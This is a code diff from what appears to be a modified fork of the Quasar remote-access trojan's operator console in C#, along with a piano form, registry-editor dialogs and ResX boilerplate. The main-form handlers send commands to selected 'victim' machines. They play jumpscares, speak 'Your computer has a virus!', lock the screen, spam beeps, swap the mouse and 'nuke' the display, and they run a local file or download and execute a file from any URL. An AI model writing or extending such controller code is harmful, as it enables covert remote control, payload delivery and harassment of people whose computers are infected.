var asm = Assembly.GetExecutingAssembly();
using (var stream = asm.GetManifestResourceStream(name))
{
var buf = new byte[stream.Length];
stream.Read(buf, 0, buf.Length);
return buf;
}
}
private static byte[] GzipCompress(byte[] data)
{
using (var ms = new MemoryStream())
{
using (var gz = new GZipStream(ms, CompressionLevel.Fastest))
gz.Write(data, 0, data.Length);
return ms.ToArray();
}
}
private void ghostTypingToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoGhostTyping());
}
private void jumpscareToolStripMenuItem_Click(object sender, EventArgs e)
{
var msg = new DoJumpscare
{
WavData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scream.wav")),
GifData = GzipCompress(ReadEmbeddedResource("Quasar.Server.Resources.scary.gif")),
};
foreach (Client c in GetSelectedClients())
c.Send(msg);
}
private void textToSpeechToolStripMenuItem_Click(object sender, EventArgs e)
{
string text = Microsoft.VisualBasic.Interaction.InputBox("Enter text to speak:", "Text to Speech", "Your computer has a virus!");
if (string.IsNullOrWhiteSpace(text)) return;
foreach (Client c in GetSelectedClients())
c.Send(new DoTextToSpeech { Text = text });
}
private void startSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartSchizophrenia());
}
private void stopSchizophreniaToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopSchizophrenia());
}
private void startColorInvertToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartColorInvert());
}
private void stopColorInvertToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopColorInvert());
}
private void pianoToolStripMenuItem_Click(object sender, EventArgs e)
{
var frm = new FrmPiano(note => {
foreach (Client c in GetSelectedClients())
c.Send(note);
});
frm.Show(this);
}
private void startBeepSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartBeepSpam());
}
private void stopBeepSpamToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopBeepSpam());
}
private void startFartScrollToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartFartScroll());
}
private void stopFartScrollToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopFartScroll());
}
private void startDrunkModeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartDrunkMode());
}
private void stopDrunkModeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopDrunkMode());
}
private void startNukeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoNuke());
}
private void stopNukeToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopNuke());
}
private void startEyesToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStartEyes());
}
private void stopEyesToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoStopEyes());
}
private void lockScreenToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoLockScreen());
}
private void cdTrayToolStripMenuItem_Click(object sender, EventArgs e)
{
string input = Microsoft.VisualBasic.Interaction.InputBox("How many times should the CD tray eject? (120)", "CD Tray Spam", "5");
if (!int.TryParse(input, out int count) || count < 1) return;
count = Math.Min(count, 20);
foreach (Client c in GetSelectedClients())
c.Send(new DoCdTray { Count = count });
}
private void mouseSwapToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoMouseSwap { Swap = true });
}
private void restoreMouseToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
c.Send(new DoMouseSwap { Swap = false });
}
private void setWallpaperToolStripMenuItem_Click(object sender, EventArgs e)
{
Client[] clients = GetSelectedClients();
if (clients.Length == 0) return;
using (var dlg = new OpenFileDialog())
{
dlg.Title = "Choose wallpaper image";
dlg.Filter = "Images|*.jpg;*.jpeg;*.png;*.bmp;*.gif|All files|*.*";
if (dlg.ShowDialog() != DialogResult.OK) return;
byte[] data;
try { data = File.ReadAllBytes(dlg.FileName); }
catch (Exception ex)
{
MessageBox.Show("Could not read file:\n" + ex.Message, "Error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
var msg = new DoSetWallpaper { ImageData = data };
foreach (Client c in clients)
c.Send(msg);
}
}
#endregion
private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count == 0) return;
string path = Microsoft.VisualBasic.Interaction.InputBox(
"Enter the file path on the victim's machine to execute:",
"Remote Execute - Local File", "C:\\Windows\\System32\\notepad.exe");
if (string.IsNullOrWhiteSpace(path)) return;
foreach (Client c in GetSelectedClients())
c.Send(new DoExecute { FilePath = path, IsUrl = false });
}
private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
{
if (lstClients.SelectedItems.Count == 0) return;
string url = Microsoft.VisualBasic.Interaction.InputBox(
"Enter the URL of the file to download and execute on the victim's machine:",
"Remote Execute - Web File", "https://");
if (string.IsNullOrWhiteSpace(url) || url == "https://") return;
foreach (Client c in GetSelectedClients())
c.Send(new DoExecute { FilePath = url, IsUrl = true });
}
private void selectAllToolStripMenuItem_Click(object sender, EventArgs e)
{
lstClients.SelectAllItems();
}
#endregion
#region "MenuStrip"
private void closeToolStripMenuItem_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void settingsToolStripMenuItem_Click(object sender, EventArgs e)
{
using (var frm = new FrmSettings(ListenServer))
{
frm.ShowDialog();
}
}
private void builderToolStripMenuItem_Click(object sender, EventArgs e)
{
#if DEBUG
MessageBox.Show("Client Builder is not available in DEBUG configuration.\nPlease build the project using RELEASE configuration.", "Not available", MessageBoxButtons.OK, MessageBoxIcon.Information);
#else
using (var frm = new FrmBuilder())
{
frm.ShowDialog();
}
#endif
}
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
{
using (var frm = new FrmAbout())
{
frm.ShowDialog();
}
}
#endregion
#region "NotifyIcon"
private void notifyIcon_MouseDoubleClick(object sender, MouseEventArgs e)
{
this.WindowState = (this.WindowState == FormWindowState.Normal)
? FormWindowState.Minimized
: FormWindowState.Normal;
this.ShowInTaskbar = (this.WindowState == FormWindowState.Normal);
}
#endregion
}
}
File diff suppressed because it is too large Load Diff
+194
View File
@@ -0,0 +1,194 @@
using Quasar.Common.Messages;
using System;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Drawing2D;
using System.Windows.Forms;
namespace Quasar.Server.Forms
{
// 2-octave piano (C4B5). Mouse-click or keyboard to play.
// Keyboard layout (standard virtual piano):
// White (lower): Z X C V B N M Q W E R T Y U
// Black (lower): S D G H J 2 3 5 6 7
public class FrmPiano : Form
{
private readonly Action<DoPlayNote> _send;
// ── Note data ────────────────────────────────────────────────────────
private static readonly string[] _names = { "C4","C#4","D4","D#4","E4","F4","F#4","G4","G#4","A4","A#4","B4","C5","C#5","D5","D#5","E5","F5","F#5","G5","G#5","A5","A#5","B5" };
private static readonly int[] _freqs = { 262, 277, 294, 311, 330, 349, 370, 392, 415, 440, 466, 494, 523, 554, 587, 622, 659, 698, 740, 784, 831, 880, 932, 988 };
private static readonly bool[] _black = { false,true,false,true,false,false,true,false,true,false,true,false, false,true,false,true,false,false,true,false,true,false,true,false };
// Computer-key mapping (index aligns with _names)
private static readonly Keys[] _keyMap =
{
Keys.Z, Keys.S, Keys.X, Keys.D, Keys.C, Keys.V, Keys.G, Keys.B, Keys.H, Keys.N, Keys.J, Keys.M,
Keys.Q, Keys.D2, Keys.W, Keys.D3, Keys.E, Keys.R, Keys.D5, Keys.T, Keys.D6, Keys.Y, Keys.D7, Keys.U
};
// ── Layout constants ─────────────────────────────────────────────────
private const int WW = 38, WH = 150, BW = 22, BH = 92, PAD = 10, TOP = 32;
private readonly Rectangle[] _rects = new Rectangle[24];
private int _pressedIdx = -1;
private readonly Stopwatch _slideThrottle = Stopwatch.StartNew();
// Cached brushes
private static readonly Color _pressedWhite = Color.FromArgb(100, 180, 255);
private static readonly Color _pressedBlack = Color.FromArgb(60, 120, 220);
private static readonly Color _bgColor = Color.FromArgb(28, 28, 28);
public FrmPiano(Action<DoPlayNote> send)
{
_send = send;
Text = "Piano";
FormBorderStyle = FormBorderStyle.FixedSingle;
MaximizeBox = false;
StartPosition = FormStartPosition.CenterScreen;
KeyPreview = true;
DoubleBuffered = true;
ClientSize = new Size(PAD * 2 + 14 * WW, TOP + WH + 20);
BackColor = _bgColor;
BuildRects();
Paint += OnPaint;
MouseDown += OnMouseDown;
MouseUp += (s, a) => { _pressedIdx = -1; Invalidate(); };
MouseMove += OnMouseMove;
KeyDown += OnKeyDown;
KeyUp += (s, a) => { _pressedIdx = -1; Invalidate(); };
}
// ── Geometry ─────────────────────────────────────────────────────────
private void BuildRects()
{
// White-key index for each note (black keys get -1)
int[] whiteIdx = new int[24];
int w = 0;
for (int i = 0; i < 24; i++)
whiteIdx[i] = _black[i] ? -1 : w++;
// White key rects
for (int i = 0; i < 24; i++)
if (!_black[i])
_rects[i] = new Rectangle(PAD + whiteIdx[i] * WW, TOP, WW, WH);
// Black key rects: centered on the gap between the two adjacent white keys
// Left white-key note index for each black note
int[] leftWhite = { 0, 2, 5, 7, 9, 12, 14, 17, 19, 21 };
int[] blackNote = { 1, 3, 6, 8, 10, 13, 15, 18, 20, 22 };
for (int b = 0; b < blackNote.Length; b++)
{
int lw = whiteIdx[leftWhite[b]];
_rects[blackNote[b]] = new Rectangle(PAD + (lw + 1) * WW - BW / 2, TOP, BW, BH);
}
}
// ── Painting ─────────────────────────────────────────────────────────
private void OnPaint(object sender, PaintEventArgs e)
{
Graphics g = e.Graphics;
g.SmoothingMode = SmoothingMode.AntiAlias;
// Header label
using (var f = new Font("Segoe UI", 9.5f, FontStyle.Bold))
g.DrawString("Piano · Z X C V B N M | Q W E R T Y U", f, Brushes.Silver, PAD, 6);
// White keys first
for (int i = 0; i < 24; i++)
{
if (_black[i]) continue;
bool pressed = _pressedIdx == i;
var r = _rects[i];
using (var br = new SolidBrush(pressed ? _pressedWhite : Color.White))
g.FillRectangle(br, r);
g.DrawRectangle(Pens.Black, r);
// Key label
using (var f = new Font("Segoe UI", 6.5f))
{
char ch = KeyChar(i);
g.DrawString(ch.ToString(), f, Brushes.DimGray,
r.X + (WW - 8) / 2, r.Bottom - 17);
}
}
// Black keys on top
for (int i = 0; i < 24; i++)
{
if (!_black[i]) continue;
bool pressed = _pressedIdx == i;
var r = _rects[i];
using (var br = new SolidBrush(pressed ? _pressedBlack : Color.FromArgb(28, 28, 28)))
g.FillRectangle(br, r);
// Subtle highlight gradient on un-pressed black key
if (!pressed)
{
using (var lgb = new LinearGradientBrush(r, Color.FromArgb(80, 80, 80), Color.FromArgb(28, 28, 28), LinearGradientMode.Horizontal))
g.FillRectangle(lgb, new Rectangle(r.X, r.Y, 5, r.Height));
}
g.DrawRectangle(Pens.Black, r);
// Key label
using (var f = new Font("Segoe UI", 5.5f))
{
char ch = KeyChar(i);
g.DrawString(ch.ToString(), f, Brushes.DimGray,
r.X + 4, r.Bottom - 14);
}
}
}
private char KeyChar(int idx)
{
var k = _keyMap[idx];
if (k >= Keys.D0 && k <= Keys.D9) return (char)('0' + (k - Keys.D0));
return (char)k; // letter keys: Keys.A = 65 = 'A'
}
// ── Input ─────────────────────────────────────────────────────────────
private void OnMouseDown(object sender, MouseEventArgs e)
{
// Black keys sit on top — test them first
for (int i = 0; i < 24; i++)
if (_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; }
for (int i = 0; i < 24; i++)
if (!_black[i] && _rects[i].Contains(e.Location)) { Press(i); return; }
}
private void OnMouseMove(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.None) return;
// Throttle slide to avoid flooding the connection
if (_slideThrottle.ElapsedMilliseconds < 80) return;
for (int i = 0; i < 24; i++)
if (_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; }
for (int i = 0; i < 24; i++)
if (!_black[i] && _rects[i].Contains(e.Location)) { if (_pressedIdx != i) { _slideThrottle.Restart(); Press(i); } return; }
}
private void OnKeyDown(object sender, KeyEventArgs e)
{
for (int i = 0; i < _keyMap.Length; i++)
if (_keyMap[i] == e.KeyCode) { if (_pressedIdx != i) Press(i); return; }
}
private void Press(int idx)
{
_pressedIdx = idx;
Invalidate();
_send(new DoPlayNote { Frequency = _freqs[idx], DurationMs = 1000 });
}
}
}
+143
View File
@@ -0,0 +1,143 @@
using Quasar.Server.Controls.HexEditor;
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditBinary
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.hexEditor = new HexEditor();
this.SuspendLayout();
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = System.Windows.Forms.AnchorStyles.Left;
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 31);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(341, 20);
this.valueNameTxtBox.TabIndex = 3;
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 15);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 54);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(278, 273);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(197, 273);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// hexEditor
//
this.hexEditor.BackColor = System.Drawing.Color.White;
this.hexEditor.BorderColor = System.Drawing.Color.Empty;
this.hexEditor.Cursor = System.Windows.Forms.Cursors.IBeam;
this.hexEditor.EntityMargin = 8;
this.hexEditor.Font = new System.Drawing.Font("Consolas", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.hexEditor.Location = new System.Drawing.Point(12, 71);
this.hexEditor.Margin = new System.Windows.Forms.Padding(0, 2, 3, 3);
this.hexEditor.Name = "hexEditor";
this.hexEditor.Size = new System.Drawing.Size(341, 196);
this.hexEditor.TabIndex = 0;
this.hexEditor.VScrollBarVisisble = true;
//
// FrmRegValueEditBinary
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(365, 304);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.hexEditor);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditBinary";
this.ShowIcon = false;
this.Text = "Edit Binary";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private Controls.HexEditor.HexEditor hexEditor;
}
}
@@ -0,0 +1,50 @@
using System;
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Server.Registry;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditBinary : Form
{
private readonly RegValueData _value;
private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly.";
public FrmRegValueEditBinary(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
hexEditor.HexTable = value.Data;
}
private void okButton_Click(object sender, EventArgs e)
{
byte[] bytes = hexEditor.HexTable;
if (bytes != null)
{
try
{
_value.Data = bytes;
this.DialogResult = DialogResult.OK;
this.Tag = _value;
}
catch
{
ShowWarning(INVALID_BINARY_ERROR, "Warning");
this.DialogResult = DialogResult.None;
}
}
this.Close();
}
private void ShowWarning(string msg, string caption)
{
MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Warning);
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+140
View File
@@ -0,0 +1,140 @@
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditMultiString
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.valueDataTxtBox = new System.Windows.Forms.TextBox();
this.SuspendLayout();
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueNameTxtBox.Location = new System.Drawing.Point(15, 25);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(346, 20);
this.valueNameTxtBox.TabIndex = 3;
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(12, 53);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(286, 330);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(205, 330);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// valueDataTxtBox
//
this.valueDataTxtBox.AcceptsReturn = true;
this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72);
this.valueDataTxtBox.Multiline = true;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both;
this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252);
this.valueDataTxtBox.TabIndex = 0;
this.valueDataTxtBox.WordWrap = false;
//
// FrmRegValueEditMultiString
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(373, 365);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditMultiString";
this.ShowIcon = false;
this.Text = "Edit Multi-String";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.TextBox valueDataTxtBox;
}
}
@@ -0,0 +1,30 @@
using System;
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditMultiString : Form
{
private readonly RegValueData _value;
public FrmRegValueEditMultiString(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = value.Name;
this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data));
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries));
this.Tag = _value;
this.DialogResult = DialogResult.OK;
this.Close();
}
}
}
@@ -0,0 +1,120 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
